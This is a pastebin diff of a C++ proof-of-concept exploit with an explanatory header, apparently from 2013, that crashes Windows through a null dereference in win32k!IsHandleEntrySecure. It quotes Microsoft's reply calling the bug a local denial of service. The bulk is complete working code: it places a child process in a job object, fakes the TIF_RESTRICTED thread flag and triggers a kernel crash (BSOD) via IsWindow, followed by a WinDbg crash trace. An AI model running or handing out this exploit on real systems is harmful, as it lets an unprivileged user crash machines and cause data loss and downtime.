View difference between Paste ID: we0ZSQC0 and D7W0cQE8
SHOW: | | - or go back to the newest paste.
1
//
2
// IsHandleEntrySecure_w32job_dereference_bsod.cpp
3
// @sixtyvividtails
4
//
5
//
6
// Function win32k!IsHandleEntrySecure() doesn't properly check if 'pW32Job' field of 'tagPROCESSINFO' for current
7
// process contains non-zero value. This allows unprivileged local user to cause null derefence in kernel mode (that's
8
// it, just bsod).
9
//
10
// NtUserValidateHandleSecure(win32Handle) ->
11
//     ValidateHandleSecure(win32Handle, 3) ->
12
//        IsHandleEntrySecure(win32Handle, pHandleEntry) -> bsod
13
//
14
//
15
// To get bsod, user should call NtUserValidateHandleSecure(), with following conditions:
16
// 1) Calling process SHOULD NOT be assigned to job.
17
// 2) Handle for validation should specify "owned" object (flags OCF_THREADOWNED or OCF_PROCESSOWNED).
18
// 3) Process which owns object SHOULD be assigned to job.
19
//
20
//
21
//
22
// IsHandleEntrySecure:
23
// ...
24
// .text:00149042 eax: current process processInfo
25
// .text:00149042 edx: handleEntry process processInfo
26
// .text:00149042
27
// .text:00149042 checkHandleInJob:                       ; CODE XREF: IsHandleEntrySecure(x,x)+48j
28
// .text:00149042         mov     ecx, [eax+tagPROCESSINFO.pW32Job] ; ecx: pW32Job of current process processInfo
29
// .text:00149048         cmp     [edx+tagPROCESSINFO.pW32Job], ecx
30
// .text:0014904E         jz      short ret_1
31
// .text:0014904E
32
// .text:00149050         mov     edx, [ecx+tagW32JOB.pgh] ; <<<<<<<  let's bsod here
33
// .text:00149053         xor     eax, eax
34
// .text:00149055         test    edx, edx
35
// .text:00149057         jz      short ret_eax
36
//
37
//
38
//
39
// Microsoft doesn't consider this as vulnerability. Their responce to my report of the bug:
40
//
41
// QUOTE START
42
// I looked through your report, and it appears to be a local DOS. Although this is an unfortunate bug, we don't
43
// consider it a security vulnerability according to our 10 immutable laws of security
44
// (http://technet.microsoft.com/library/cc722487.aspx). If you know how to exploit this bug without violating one of
45
// those laws, we would consider it a remote DOS which is considered a vulnerability.
46
//
47
// If you'd like to see this bug fixed, please contact Microsoft Product Support Services at
48
// http://support.microsoft.com/common/international.aspx. You may also want to try posting a message to our free
49
// support newsgroups. See Microsoft Product Support Newsgroups at http://support.microsoft.com/newsgroups/ for more
50
// information.
51
// QUOTE END
52
//
53
54
55
#include <conio.h>
56
#include <Windows.h>
57
#include <strsafe.h>
58
59
60
#pragma section(".shared", read, write, shared)
61
62
__declspec(allocate(".shared"))
63
HWND WindowHandle;
64
__declspec(allocate(".shared"))
65
HANDLE ChildWindowReadyEvent;
66
__declspec(allocate(".shared"))
67
HANDLE ParentProcess;
68
69
70
int go_first_instance()
71
{
72-
	wprintf(
72+
    wprintf(
73-
		L"IsHandleEntrySecure_w32job_dereference_bsod\n"
73+
        L"IsHandleEntrySecure_w32job_dereference_bsod\n"
74-
		L"@sixtyvividtails                 2013-11-12\n"
74+
        L"@sixtyvividtails                 2013-11-12\n"
75-
		L"\n");
75+
        L"\n");
76
77-
	// Make job for second process, and set some restrictions, so 'W32Job' field of 'tagPROCESSINFO' gets filled.
77+
    // Make job for second process, and set some restrictions, so 'W32Job' field of 'tagPROCESSINFO' gets filled.
78-
	HANDLE job = CreateJobObject(NULL, NULL);
78+
    HANDLE job = CreateJobObject(NULL, NULL);
79-
	JOBOBJECT_BASIC_UI_RESTRICTIONS uiRestrictions = {JOB_OBJECT_UILIMIT_WRITECLIPBOARD};
79+
    JOBOBJECT_BASIC_UI_RESTRICTIONS uiRestrictions = {JOB_OBJECT_UILIMIT_WRITECLIPBOARD};
80-
	SetInformationJobObject(job, JobObjectBasicUIRestrictions, &uiRestrictions, sizeof(uiRestrictions));
80+
    SetInformationJobObject(job, JobObjectBasicUIRestrictions, &uiRestrictions, sizeof(uiRestrictions));
81
82-
	STARTUPINFO si = {sizeof(si)};
82+
    STARTUPINFO si = {sizeof(si)};
83-
	PROCESS_INFORMATION pi = {};
83+
    PROCESS_INFORMATION pi = {};
84-
	CreateProcess(NULL, GetCommandLine(), NULL, NULL, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, NULL, NULL, &si, &pi);
84+
    CreateProcess(NULL, GetCommandLine(), NULL, NULL, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, NULL, NULL, &si, &pi);
85-
	if (!AssignProcessToJobObject(job, pi.hProcess))
85+
    if (!AssignProcessToJobObject(job, pi.hProcess))
86-
		return TerminateProcess(pi.hProcess, -1), wprintf(L"AssignProcessToJobObject failed\n");
86+
        return TerminateProcess(pi.hProcess, -1), wprintf(L"AssignProcessToJobObject failed\n");
87-
	auto me = GetCurrentProcess();
87+
    auto me = GetCurrentProcess();
88-
	DuplicateHandle(me, me, pi.hProcess, &ParentProcess, SYNCHRONIZE, FALSE, 0);
88+
    DuplicateHandle(me, me, pi.hProcess, &ParentProcess, SYNCHRONIZE, FALSE, 0);
89-
	HANDLE childWindowReady = CreateEvent(NULL, FALSE, FALSE, NULL);
89+
    HANDLE childWindowReady = CreateEvent(NULL, FALSE, FALSE, NULL);
90-
	DuplicateHandle(me, childWindowReady, pi.hProcess, &ChildWindowReadyEvent, EVENT_MODIFY_STATE, FALSE, 0);
90+
    DuplicateHandle(me, childWindowReady, pi.hProcess, &ChildWindowReadyEvent, EVENT_MODIFY_STATE, FALSE, 0);
91-
	ResumeThread(pi.hThread);
91+
    ResumeThread(pi.hThread);
92
93-
	// Wanna call 'NtUserValidateHandleSecure', but don't wanna hardcode func offsets or api numbers.
93+
    // Wanna call 'NtUserValidateHandleSecure', but don't wanna hardcode func offsets or api numbers.
94-
	// So, we can make user32 to call that function for us if we fake TIF_RESTRICTED flag in local tagCLIENTINFO
94+
    // So, we can make user32 to call that function for us if we fake TIF_RESTRICTED flag in local tagCLIENTINFO
95-
	// (Teb->Win32ClientInfo, its offsets are quite stable).
95+
    // (Teb->Win32ClientInfo, its offsets are quite stable).
96-
	BOOL x64 = FALSE;
96+
    BOOL x64 = FALSE;
97-
	__asm
97+
    __asm
98-
	{
98+
    {
99-
		xor eax, eax;
99+
        xor eax, eax;
100-
		mov ax, gs;
100+
        mov ax, gs;
101-
		mov x64, eax;
101+
        mov x64, eax;
102-
	}
102+
    }
103-
	// (note: no sanity checks here)
103+
    // (note: no sanity checks here)
104-
	PDWORD threadInfoFlags = x64?
104+
    PDWORD threadInfoFlags = x64?
105-
		PDWORD(__readfsdword(0xf70) + 0x800 + 0x1c):			// &teb->teb64->Win32ClientInfo.dwTIFlags
105+
        PDWORD(__readfsdword(0xf70) + 0x800 + 0x1c):            // &teb->teb64->Win32ClientInfo.dwTIFlags
106-
		PDWORD(__readfsdword(0x018) + 0x6cc + 0x14);			// &teb->Win32ClientInfo.dwTIFlags
106+
        PDWORD(__readfsdword(0x018) + 0x6cc + 0x14);            // &teb->Win32ClientInfo.dwTIFlags
107-
	*threadInfoFlags |= 0;				// die now if ptr invalid.
107+
    *threadInfoFlags |= 0;              // die now if ptr invalid.
108
109-
	WaitForSingleObject(childWindowReady, 7000);
109+
    WaitForSingleObject(childWindowReady, 7000);
110-
	wprintf(L"ready to bsod, HWND: %p\n"
110+
    wprintf(L"ready to bsod, HWND: %p\n"
111-
		L"press <enter> to continue...\n", WindowHandle);
111+
        L"press <enter> to continue...\n", WindowHandle);
112-
	_getwch();
112+
    _getwch();
113
114-
	*threadInfoFlags |= 0x20000000;		// TIF_RESTRICTED
114+
    *threadInfoFlags |= 0x20000000;     // TIF_RESTRICTED
115-
	IsWindow(WindowHandle);				// boom. Just indirect call to 'NtUserValidateHandleSecure()'.
115+
    IsWindow(WindowHandle);             // boom. Just indirect call to 'NtUserValidateHandleSecure()'.
116-
	// Could as well call NtUserValidateHandleSecure(WindowHandle) directly, without messing with teb.
116+
    // Could as well call NtUserValidateHandleSecure(WindowHandle) directly, without messing with teb.
117
118-
	// should not be here.
118+
    // should not be here.
119-
	wprintf(L"bsod failed, I am so sorry.\n");
119+
    wprintf(L"bsod failed, I am so sorry.\n");
120-
	return 0;
120+
    return 0;
121
}
122
123
124
int go_second_instance()
125
{
126-
	WindowHandle = CreateWindowEx(0, L"BUTTON", L"bsod", 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
126+
    WindowHandle = CreateWindowEx(0, L"BUTTON", L"bsod", 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
127-
	SetEvent(ChildWindowReadyEvent);
127+
    SetEvent(ChildWindowReadyEvent);
128-
	WaitForSingleObject(ParentProcess, INFINITE);
128+
    WaitForSingleObject(ParentProcess, INFINITE);
129-
	return 0;
129+
    return 0;
130
}
131
132
133
int main()
134
{
135-
	if (!ChildWindowReadyEvent)
135+
    if (!ChildWindowReadyEvent)
136-
		go_first_instance();
136+
        go_first_instance();
137-
	else
137+
    else
138-
		go_second_instance();
138+
        go_second_instance();
139
140-
	return 0;
140+
    return 0;
141
}
142
143
144
145
146
147
#if 0
148
stacktrace, win8 x64:
149
150
FOLLOWUP_IP: 
151
win32k!IsHandleEntrySecure+71
152
fffff960`002a7591 488b4a38        mov     rcx,qword ptr [rdx+38h]
153
154
SYMBOL_STACK_INDEX:  0
155
156
SYMBOL_NAME:  win32k!IsHandleEntrySecure+71
157
158
FOLLOWUP_NAME:  MachineOwner
159
160
MODULE_NAME: win32k
161
162
IMAGE_NAME:  win32k.sys
163
164
DEBUG_FLR_IMAGE_TIMESTAMP:  5216eef4
165
166
STACK_COMMAND:  .cxr 0xfffff880190d31b0 ; kb
167
168
BUCKET_ID_FUNC_OFFSET:  71
169
170
FAILURE_BUCKET_ID:  0x3B_win32k!IsHandleEntrySecure
171
172
BUCKET_ID:  0x3B_win32k!IsHandleEntrySecure
173
174
Followup: MachineOwner
175
---------
176
177
178
179
180
4: kd> k
181
Child-SP          RetAddr           Call Site
182
fffff880`190d28b8 fffff802`36876769 nt!KeBugCheckEx
183
fffff880`190d28c0 fffff802`368760bc nt!KiBugCheckDispatch+0x69
184
fffff880`190d2a00 fffff802`368e34bd nt!KiSystemServiceHandler+0x7c
185
fffff880`190d2a40 fffff802`3690b3d4 nt!RtlpExecuteHandlerForException+0xd
186
fffff880`190d2a70 fffff802`368e5216 nt!RtlDispatchException+0x458
187
fffff880`190d3180 fffff802`36876842 nt!KiDispatchException+0x455
188
fffff880`190d3840 fffff802`36874fba nt!KiExceptionDispatch+0xc2
189
fffff880`190d3a20 fffff960`002a7591 nt!KiPageFault+0x23a
190
fffff880`190d3bb0 fffff960`002a66bb win32k!IsHandleEntrySecure+0x71
191
fffff880`190d3be0 fffff960`002a75f4 win32k!ValidateHandleSecure+0x6405b
192
fffff880`190d3c10 fffff802`36876453 win32k!NtUserValidateHandleSecure+0x31
193
fffff880`190d3c40 00000000`77d72ad2 nt!KiSystemServiceCopyEnd+0x13
194
00000000`0011e688 00000000`77d72a9f wow64cpu!CpupSyscallStub+0x2
195
00000000`0011e690 00000000`77d8c4f6 wow64cpu!Thunk0Arg+0x5
196
00000000`0011e740 00000000`77d8b8f5 wow64!RunCpuSimulation+0xa
197
00000000`0011e790 000007fa`d342ff21 wow64!Wow64LdrpInitialize+0x435
198
00000000`0011ecd0 000007fa`d340655e ntdll!LdrpInitializeProcess+0x1576
199
00000000`0011efe0 000007fa`d343d3be ntdll!_LdrpInitialize+0xffffffff`fffc917e
200
00000000`0011f050 00000000`00000000 ntdll!LdrInitializeThunk+0xe
201
202
4: kd> r
203
rax=fffff880190d29c0 rbx=0000000000000000 rcx=000000000000003b
204
rdx=00000000c0000005 rsi=fffff880190ce000 rdi=fffff880190d4000
205
rip=fffff80236877440 rsp=fffff880190d28b8 rbp=fffff880190d2b70
206
 r8=fffff960002a7591  r9=fffff880190d31b0 r10=0000000000000000
207
r11=fffff80236b2e410 r12=0000000000000000 r13=0000000000000000
208
r14=fffff880190d3978 r15=fffff80236876453
209
iopl=0         nv up ei ng nz na po nc
210
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
211
nt!KeBugCheckEx:
212
fffff802`36877440 48894c2408      mov     qword ptr [rsp+8],rcx ss:0018:fffff880`190d28c0=3b00000000000000
213
214
215
4: kd> .cxr 0xfffff880190d31b0
216
rax=0000000000000001 rbx=fffff90100407bc0 rcx=fffff90102966a60
217
rdx=0000000000000000 rsi=0000000000030528 rdi=0000000000030528
218
rip=fffff960002a7591 rsp=fffff880190d3bb0 rbp=0000000000000000
219
 r8=0000000000000000  r9=0000000077e5dc64 r10=fffff960002a75c4
220
r11=fffff880190d3be0 r12=000000007edab000 r13=000000000011fdb0
221
r14=000000000021fc20 r15=0000000077d72300
222
iopl=0         nv up ei ng nz na po nc
223
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
224
win32k!IsHandleEntrySecure+0x71:
225
fffff960`002a7591 488b4a38        mov     rcx,qword ptr [rdx+38h] ds:002b:00000000`00000038=????????????????
226
4: kd> k
227
  *** Stack trace for last set context - .thread/.cxr resets it
228
Child-SP          RetAddr           Call Site
229
fffff880`190d3bb0 fffff960`002a66bb win32k!IsHandleEntrySecure+0x71
230
fffff880`190d3be0 fffff960`002a75f4 win32k!ValidateHandleSecure+0x6405b
231
fffff880`190d3c10 fffff802`36876453 win32k!NtUserValidateHandleSecure+0x31
232
fffff880`190d3c40 00000000`77d72ad2 nt!KiSystemServiceCopyEnd+0x13
233
00000000`0011e688 00000000`77d72a9f wow64cpu!CpupSyscallStub+0x2
234
00000000`0011e690 00000000`77d8c4f6 wow64cpu!Thunk0Arg+0x5
235
00000000`0011e740 00000000`77d8b8f5 wow64!RunCpuSimulation+0xa
236
00000000`0011e790 000007fa`d342ff21 wow64!Wow64LdrpInitialize+0x435
237
00000000`0011ecd0 000007fa`d340655e ntdll!LdrpInitializeProcess+0x1576
238
00000000`0011efe0 000007fa`d343d3be ntdll!_LdrpInitialize+0xffffffff`fffc917e
239
00000000`0011f050 00000000`00000000 ntdll!LdrInitializeThunk+0xe
240
241
#endif // #if 0